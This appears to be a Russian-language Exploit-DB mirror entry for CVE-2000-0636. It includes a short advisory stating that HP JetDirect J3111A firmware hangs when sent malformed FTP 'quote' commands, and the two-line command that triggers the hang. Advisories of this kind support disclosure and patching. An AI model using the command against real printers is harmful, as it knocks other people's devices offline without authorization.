Exploit HP JetDirect J3111A - Invalid FTP Command Denial of Service

[Exploiter]

EDB-ID

20090

Проверка EDB

1. Пройдено

Автор

PETER GRUNDL

Тип уязвимости

DOS

Платформа

HARDWARE

CVE

cve-2000-0636

Дата публикации

2000-07-19

source: https://www.securityfocus.com/bid/1491/info

HP JetDirect firmware is vulnerable to a Denial of Service attack. JetDirect devices have an FTP service which fails to properly handle bad FTP commands sent with the ftp "quote" command. This causes the device to stop responding and possibly display an error message. Powering the device off and on is required to regain normal functionality. 

ftp <printer address>
quote AAAAAAAAAAA